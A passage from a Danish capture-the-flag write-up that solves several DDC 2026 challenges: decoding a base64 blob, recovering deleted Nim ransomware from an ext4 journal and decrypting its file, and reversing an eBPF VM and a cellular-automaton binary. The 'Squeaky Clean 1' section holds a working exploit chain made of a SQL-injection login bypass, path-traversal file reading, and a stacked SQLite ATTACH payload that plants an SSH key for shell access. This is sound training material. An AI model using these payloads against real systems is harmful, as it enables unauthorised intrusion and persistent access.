</span></span><span class="line"><span class="cl">H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
</span></span><span class="line"><span class="cl">H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
</span></span><span class="line"><span class="cl">ZN4Core6System6pledgeEN2AK10StringViewES2
</span></span><span class="line"><span class="cl">H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibShell/ImmediateFunctions
</span></span><span class="line"><span class="cl">H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
</span></span><span class="line"><span class="cl">H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
</span></span><span class="line"><span class="cl">H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
</span></span><span class="line"><span class="cl">H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
</span></span><span class="line"><span class="cl">H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
</span></span><span class="line"><span class="cl">H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
</span></span><span class="line"><span class="cl">H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
</span></span><span class="line"><span class="cl">H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
</span></span><span class="line"><span class="cl">H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
</span></span><span class="line"><span class="cl">ZN4Core6System6pledgeEN2AK10StringViewES2
</span></span></code></pre></div><p>Det er lidt spøjst at strengen <code>H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA</code> kommer op så mange gange, og efter at have fyret den gennem en base64 decoder, får vi en gzip fil, som indeholder en tekstfil, og i den tekstfil er flaget: <code>DDC{w000000w_d1d_y0u_4ctually_us3_v0l4t1l1ty}</code> -&gt; <a href="https://cyberchef.org/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Gunzip()&amp;input=SDRzSUFCRHpRMmtBL3gzQTBRbUFVQWdGMEpXVTNPQzlQUzZSbi9jdlRTVGFYZWpzdmQ2U1g4SFYwWkt3Sy9Ja0cza2ZlSVFXU28zK0J1QlFmeW90QUFBQQ">CyberChef Recipe</a></p>
<p>Flag: <code>DDC{w000000w_d1d_y0u_4ctually_us3_v0l4t1l1ty}</code></p>
<hr>
<h2 id="windows-forensics-hell">Windows Forensics Hell</h2>
<p>So ehmm… I tried moving away from Windows to support the OSS movement, but somehow it went wrong and now I have gotten a virus? I though viruses were only for Windows??</p>
<p>Vedhæftet fil: <a href="https://s3.ha1fdan.xyz/ha1fdan.xyz/ctf/ddc2026/challenge.E01">challenge.E01</a> (6GiB!) + <a href="/ddc_fasttrack_2026/forensics/Windows.Forensics.Hell.appendix_-_bad.author.edition.7z">Windows.Forensics.Hell.appendix_-_bad.author.edition.7z</a></p>
<p><strong>Løsning:</strong> Vi får et E01 forensic image. Til trods for challenge-navnet er det et <strong>Linux ext4 filesystem</strong> indeni, ikke Windows. Et Nim-kompileret ransomware (<code>update.exe</code>) har krypteret <code>flag.ddc</code> så det er blevet til <code>flag.ddc.enc</code> (48 bytes, 3 AES-blokke), og begge filer er efterfølgende slettet.</p>
<p>Den krypterede fil er stadig intakt i inode 828428 og kan trækkes ud direkte:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ewfmount challenge.E01 /tmp/ewf_mount
</span></span><span class="line"><span class="cl">icat -o <span class="m">1054720</span> /tmp/ewf_mount/ewf1 <span class="m">828428</span> &gt; flag.ddc.enc
</span></span></code></pre></div><p>Ransomwaren er slettet fra directory tree, men blokkene lever stadig. Firefox <code>places.sqlite</code> afslører at <code>update.exe</code> blev downloadet fra <code>http://192.168.102.1:8000/update.exe</code> (517.972 bytes). Standard recovery-tools returner en korrupt version, den rigtige vej er <strong>ext4 journalen</strong> (inode 8), som indeholder nylige transaktioner inkl. inode-data for den slettede fil:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">icat -o <span class="m">1054720</span> /tmp/ewf_mount/ewf1 <span class="m">8</span> &gt; journal.bin
</span></span><span class="line"><span class="cl">strings -t d journal.bin <span class="p">|</span> grep <span class="s2">&#34;update.exe&#34;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># → offset 20930616, inode 828403</span>
</span></span><span class="line"><span class="cl"><span class="c1"># → extent: fysisk startblok 4560128, 127 blokke</span>
</span></span><span class="line"><span class="cl">blkcat -o <span class="m">1054720</span> /tmp/ewf_mount/ewf1 <span class="m">4560128</span> <span class="m">127</span> &gt; update_recovered.exe
</span></span></code></pre></div><p>Efter at support/admin holdet havde fundet en fejl i opgaven havde de vedlagt en password-beskyttet 7z-fil med den rene virus. Passwordet er <strong>uppercase SHA-256 af de recoveryede bytes trunkeret til 517.972 bytes</strong> (filstørrelsen fra inoden):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">head -c <span class="m">517972</span> update_recovered.exe <span class="p">|</span> sha256sum
</span></span><span class="line"><span class="cl"><span class="c1"># 4ac23960e0d1f9d5165f6e8d7029da94199971a2686c1068be4936fed397dbd6</span>
</span></span><span class="line"><span class="cl">7z x <span class="s2">&#34;appendix.7z&#34;</span> -p4AC23960E0D1F9D5165F6E8D7029DA94199971A2686C1068BE4936FED397DBD6
</span></span></code></pre></div><p>Den rene <code>update.exe</code> er skrevet i <strong>Nim 2.2.4</strong> med <strong>nimcrypto-0.6.3</strong> (AES-256-CBC + SHA-256). Kildestien er bagt ind i <code>.rdata</code>:</p>
<pre tabindex="0"><code>D:\CTF\DDC\DDC2026\forensics\Windows Forensic Hell\encryptor\update.nim
</code></pre><p>Jeg reversede <code>generateKey</code> i radare2. Funktionen henter den aktuelle <strong>Nim call frame</strong> (<code>TFrame</code>), læser <code>frame-&gt;procname</code> (offset +8), som er C-strengen <code>&quot;generateKey&quot;</code>, og konkatenerer den til kildestien. Nøglen er SHA-256 af den sammensatte streng. IV&rsquo;en er hardcoded som 16 bytes på <code>.rdata:0x140054340</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ciphertext</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;ec6e93bb9d44036e11b4e1e2c180247e&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;132442a71655b99623829988e2df29cf&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;9b11aad4fb4ece9f75cdd8b3ce11b43f&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key_material</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="sa">r</span><span class="s2">&#34;D:\CTF\DDC\DDC2026\forensics\Windows Forensic Hell\encryptor\update.nim&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;generateKey&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">key_material</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">digest</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">iv</span>  <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;02b5168cfd014263ac0dbf0f98492a5b&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">plaintext</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">plaintext</span><span class="p">[:</span><span class="o">-</span><span class="n">plaintext</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]]</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span></code></pre></div><p>Tricket er at nøgle-afledningen bruger funktionens eget navn som runtime-data via Nim&rsquo;s call frame-struktur, altså ingen hardcodet nøglestreng, men stadig fuldt deterministisk. <code>&quot;USERPROFILE&quot;</code> der også ses i binæren bruges til noget andet og er en falsk ledetråd :D</p>
<p>Flag: <code>DDC{w0uld_y0u_l1k3_4_f0rk_f0r_th4t_c4rv1ng}</code></p>
<hr>
<h2 id="reactor">Reactor</h2>
<p>The reactor has gone into lockdown mode. Please help us access it!</p>
<p>Vedhæftet fil: <a href="/ddc_fasttrack_2026/rev/rev_reactor.zip">rev_reactor.zip</a></p>
<p><strong>Løsning:</strong> Vi får EN stripped ELF. <code>strace</code> afslører at binæren loader eBPF-programmer og så spinner i en <code>clock_nanosleep</code> loop, flag-checking logikken er altså slet ikke i userspace, men lever inde i BPF-programmer.</p>
<p>Binæren indeholder et embedded BPF ELF-objekt som jeg ekstraktede ved at søge efter ELF magic bytes (<code>\x7fELF</code>) efter position 4:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 -c <span class="s2">&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">data = open(&#39;reactor&#39;,&#39;rb&#39;).read()
</span></span></span><span class="line"><span class="cl"><span class="s2">idx = data.index(b&#39;\x7fELF&#39;, 4)
</span></span></span><span class="line"><span class="cl"><span class="s2">open(&#39;bpf_clean.o&#39;,&#39;wb&#39;).write(data[idx:idx+0xb000])
</span></span></span><span class="line"><span class="cl"><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">llvm-objdump -d bpf_clean.o &gt; bpf_disasm.txt
</span></span></code></pre></div><p>Arkitekturen er en <strong>custom stack-based VM</strong> ovenpå Linux eBPF. Hver <code>clock_nanosleep</code> syscall er et &ldquo;VM tick&rdquo;, en BPF handler avancerer program counteren og loader næste instruktion i et <code>PENDING_OPS</code> map, en anden dispatcher til den rigtige opcode-handler via tail-calls. VM-bytecoden sidder i et BPF map med 308 u16 words, og de 23 encoded target-bytes sidder i <code>mem[253:276]</code>.</p>
<p>Transformationen per tegn er:</p>
<p><img src="/ddc_fasttrack_2026/rev/reactor-latex-equation.png" alt="Transformation"></p>
<p>Inverteret:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">encoded</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xa4</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x7c</span><span class="p">,</span> <span class="mh">0x8f</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0xa7</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0xa6</span><span class="p">,</span> <span class="mh">0xcf</span><span class="p">,</span> <span class="mh">0xdc</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xd7</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x2d</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">23</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="p">((</span><span class="n">b</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="o">-</span> <span class="mi">48</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span>
</span></span><span class="line"><span class="cl">    <span class="n">flag</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">((</span><span class="n">encoded</span><span class="p">[</span><span class="n">b</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">)</span> <span class="o">-</span> <span class="mi">48</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>  <span class="c1"># DDC{iT_runz_1n_da_c0r3}</span>
</span></span></code></pre></div><p>Flag: <code>DDC{iT_runz_1n_da_c0r3}</code></p>
<hr>
<h2 id="mitosis">Mitosis</h2>
<p>A program that evolves?</p>
<p>Vedhæftet fil: <a href="/ddc_fasttrack_2026/rev/rev_mitosis.zip">rev_mitosis.zip</a></p>
<p><strong>Løsning:</strong> Vi får en stripped 64-bit ELF. Binæren læser en linje fra stdin, kører en transformation på inputtet og sammenligner resultatet med en hardcoded target i <code>.rodata</code> via <code>memcmp</code>. Mit første instinkt var at NOP&rsquo;e <code>jne</code> efter <code>memcmp</code> og brute force mig til flaget, men det virkede ikke da transformationen ikke er reversibel på den måde.</p>
<p>Transformationen viser sig at være et <strong>cellular automaton</strong> der kører 20 generationer på input-bufferen, deraf challenge-navnet og den voldsomme størrelse på <code>.text</code> sektionen (~38.000 linjer disassembly i Binary Ninja, fuldt unrollet). Hver generation læser bits fra nabobyttes og flipper bits baseret på compile-time konstanter.</p>
<p>Target-bytes sidder på file offset <code>0x1d018</code> (50 bytes). Nøgletricket er at CA&rsquo;en er <strong>deterministisk</strong>, giver man binæren <em>target</em> som input, transformerer den det, og resultatet ved <code>memcmp</code> er netop flaget. Jeg brugte GDB til at sætte et breakpoint på <code>memcmp</code> og læse <code>rdi</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">subprocess</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">struct</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">BINARY</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">dirname</span><span class="p">(</span><span class="vm">__file__</span><span class="p">),</span> <span class="s1">&#39;mitosis&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 50-byte target fra .rodata -&gt; offset 0x1d018</span>
</span></span><span class="line"><span class="cl"><span class="n">TARGET</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;541113dbfc36253ecf4c4e3038d8cd25&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;3230d7eb26383efdce21321fcbdf6530&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;37c9d6601a39f0e323351d74cb693033&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;abfd&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">GDB_SCRIPT</span> <span class="o">=</span> <span class="sa">r</span><span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">import gdb
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">class MemcmpBP(gdb.Breakpoint):
</span></span></span><span class="line"><span class="cl"><span class="s2">    def stop(self):
</span></span></span><span class="line"><span class="cl"><span class="s2">        rdi = int(gdb.parse_and_eval(&#34;$rdi&#34;))
</span></span></span><span class="line"><span class="cl"><span class="s2">        rdx = int(gdb.parse_and_eval(&#34;$rdx&#34;))
</span></span></span><span class="line"><span class="cl"><span class="s2">        buf = bytes(gdb.selected_inferior().read_memory(rdi, rdx))
</span></span></span><span class="line"><span class="cl"><span class="s2">        with open(&#39;/tmp/_mitosis_flag.bin&#39;, &#39;wb&#39;) as f:
</span></span></span><span class="line"><span class="cl"><span class="s2">            f.write(buf)
</span></span></span><span class="line"><span class="cl"><span class="s2">        return False
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">gdb.execute(&#34;set disable-randomization on&#34;)
</span></span></span><span class="line"><span class="cl"><span class="s2">gdb.execute(&#34;set debuginfod enabled off&#34;)
</span></span></span><span class="line"><span class="cl"><span class="s2">MemcmpBP(&#34;memcmp@plt&#34;)
</span></span></span><span class="line"><span class="cl"><span class="s2">gdb.execute(&#34;run &lt; /tmp/_mitosis_input.bin&#34;)
</span></span></span><span class="line"><span class="cl"><span class="s2">gdb.execute(&#34;quit&#34;)
</span></span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;/tmp/_mitosis_input.bin&#39;</span><span class="p">,</span> <span class="s1">&#39;wb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">TARGET</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;/tmp/_mitosis_hook.py&#39;</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">GDB_SCRIPT</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">subprocess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="p">[</span><span class="s1">&#39;gdb&#39;</span><span class="p">,</span> <span class="s1">&#39;-q&#39;</span><span class="p">,</span> <span class="s1">&#39;-batch&#39;</span><span class="p">,</span> <span class="s1">&#39;-x&#39;</span><span class="p">,</span> <span class="s1">&#39;/tmp/_mitosis_hook.py&#39;</span><span class="p">,</span> <span class="n">BINARY</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="n">stdout</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">DEVNULL</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">stderr</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">DEVNULL</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;/tmp/_mitosis_flag.bin&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">flag</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Flag: </span><span class="si">{</span><span class="n">flag</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><pre tabindex="0"><code>$ python3 solve.py
Flag: DDC{travel_through_c3llul4r_aut0mata_space_time!!}
</code></pre><p>Flag: <code>DDC{travel_through_c3llul4r_aut0mata_space_time!!}</code></p>
<hr>
<h2 id="squeaky-clean-1">Squeaky Clean 1</h2>
<p>I made this challenge. It aint much, but it&rsquo;s honest work. Fewer features, fewer unintendeds!
That&rsquo;s what I call a clean challenge!</p>
<p><strong>Løsning:</strong> Siden er en simpel admin login-side. Efter at have prøvet nogle simple SQLi payloads fandt jeg hurtigt ud af at databasen er SQLite, og at den har en <code>users</code> tabel med én bruger:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sqlmap -u <span class="s2">&#34;http://squeaky-clean.cfire/&#34;</span> --method POST --data <span class="s2">&#34;username=admin&amp;password=a&#34;</span> --batch --risk<span class="o">=</span><span class="m">3</span> --level<span class="o">=</span><span class="m">5</span> -T users --dump
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Database: &lt;current&gt;
</span></span><span class="line"><span class="cl">Table: users
</span></span><span class="line"><span class="cl"><span class="o">[</span><span class="m">1</span> entry<span class="o">]</span>
</span></span><span class="line"><span class="cl">+----+---------------------------------------+----------+
</span></span><span class="line"><span class="cl"><span class="p">|</span> id <span class="p">|</span> password                              <span class="p">|</span> username <span class="p">|</span>
</span></span><span class="line"><span class="cl">+----+---------------------------------------+----------+
</span></span><span class="line"><span class="cl"><span class="p">|</span> <span class="m">1</span>  <span class="p">|</span> PasswordIsNotRelevantForThisChallenge <span class="p">|</span> admin    <span class="p">|</span>
</span></span><span class="line"><span class="cl">+----+---------------------------------------+----------+
</span></span></code></pre></div><p>Passwordet er som sagt ikke relevant. Login-formen kan bypasses med <code>admin'--</code> som brugernavn, fordi backenden bygger SQL-forespørgslen med direkte string interpolation og kører den med <code>executescript()</code> hvilket er en funktion der tillader flere semikolon-separerede statements på en gang.</p>
<p>Dashboardet læser filer fra disk via <code>?file=</code> uden nogen sanitering, så vi kan traversere frit med <code>../</code>. Jeg tjekkede hvem der kører appen og fandt <code>.ssh</code> mappen:</p>
<p><img src="/ddc_fasttrack_2026/b2r/lfi.png" alt="LFI"></p>
<p>Der eksisterer allerede en <code>authorized_keys</code> fil med en SSH public key, men <code>authorized_keys2</code> gør ikke. OpenSSH tjekker begge filer som standard.</p>
<p>Siden <code>executescript()</code> tillader flere SQL-statements, kan vi bruge <code>ATTACH DATABASE</code> til at få SQLite til at oprette en ny database-fil på en arbitrær sti. Løsningen er at putte vores egen SSH public key ind i <code>/home/user/.ssh/authorized_keys2</code>. SSH&rsquo;s authorized_keys parser læser filen linje for linje og ignorerer linjer den ikke forstår, inklusiv SQLite&rsquo;s binære header, så vi behøver bare at sørge for at vores public key havner på en ren linje.</p>
<p>Jeg genererede et nøglepar og sendte payloaden:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">urllib.parse</span><span class="o">,</span> <span class="nn">urllib.request</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pubkey</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;/tmp/b2rkey1.pub&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="sa">f</span><span class="s2">&#34;admin&#39;; ATTACH DATABASE &#39;/home/user/.ssh/authorized_keys2&#39; AS ssh2; &#34;</span>
</span></span><span class="line"><span class="cl">    <span class="sa">f</span><span class="s2">&#34;CREATE TABLE IF NOT EXISTS ssh2.a (b TEXT); &#34;</span>
</span></span><span class="line"><span class="cl">    <span class="sa">f</span><span class="s2">&#34;INSERT INTO ssh2.a VALUES (char(10)||char(10)||&#39;</span><span class="si">{</span><span class="n">pubkey</span><span class="si">}</span><span class="s2">&#39;||char(10)||char(10));--&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">parse</span><span class="o">.</span><span class="n">urlencode</span><span class="p">({</span><span class="s1">&#39;username&#39;</span><span class="p">:</span> <span class="n">payload</span><span class="p">,</span> <span class="s1">&#39;password&#39;</span><span class="p">:</span> <span class="s1">&#39;x&#39;</span><span class="p">})</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">req</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">Request</span><span class="p">(</span><span class="s1">&#39;http://squeaky-clean.cfire/&#39;</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">urllib</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Svar: &#34;SQL Error: near &#34;AND&#34;: syntax error&#34; ← forventet, skrivningerne er allerede committed</span>
</span></span></code></pre></div><p>Serveren svarer med en SQL-fejl, men det er forventet, <code>executescript</code> har allerede committet vores statements. Jeg verificerede via LFI at filen faktisk eksisterer (man får en UTF-8 decode-fejl i stedet for &ldquo;file not found&rdquo;, fordi SQLite&rsquo;s binære header er non-UTF-8).</p>
<p>Derefter SSH&rsquo;ede jeg ind:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ssh -i /tmp/b2rkey1 user@squeaky-clean.cfire
</span></span></code></pre></div><p>I hjemmemappen lå en SUID-binary ejet af root:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">user@f3b7e07b69c8:~$ ls -la
</span></span><span class="line"><span class="cl">-rwSr-Sr-x <span class="m">1</span> root root <span class="m">793560</span> Feb <span class="m">25</span> 20:27 flag.bin
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">user@f3b7e07b69c8:~$ /home/user/flag.bin
</span></span><span class="line"><span class="cl">DDC<span class="o">{</span>Sql1te_To_Auth0riz3d?!<span class="o">}</span>
</span></span></code></pre></div><p>Flag: <code>DDC{Sql1te_To_Auth0riz3d?!}</code></p>
<hr>
<h2 id="corsica">Corsica</h2>
<p>Tired of snow? Bored of grey skies and cold rain? Then visit Corsica!</p>
